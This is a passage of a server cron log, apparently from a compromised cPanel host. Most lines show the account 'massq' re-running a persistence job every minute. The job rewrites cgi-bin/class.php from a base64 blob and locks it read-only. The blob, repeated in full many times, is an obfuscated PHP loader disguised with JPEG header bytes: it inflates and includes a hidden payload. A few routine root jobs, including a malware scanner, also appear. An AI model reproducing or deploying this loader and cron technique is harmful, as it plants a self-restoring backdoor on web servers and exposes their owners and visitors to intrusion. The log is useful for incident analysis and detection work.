"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:43:01 server CROND[14109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:44:01 server CROND[14244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:45:01 server CROND[14294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 09:45:01 server CROND[14295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:45:01 server CROND[14296]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 09:46:01 server CROND[14408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:47:02 server CROND[14458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:48:01 server CROND[14506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:49:01 server CROND[14666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:50:01 server CROND[14718]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 09:50:01 server CROND[14720]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 09:50:01 server CROND[14721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 09:50:01 server CROND[14723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:50:01 server CROND[14722]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 09:51:01 server CROND[14844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:52:01 server CROND[14894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:53:01 server CROND[14959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:54:01 server CROND[15004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:55:01 server CROND[15152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:55:01 server CROND[15153]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
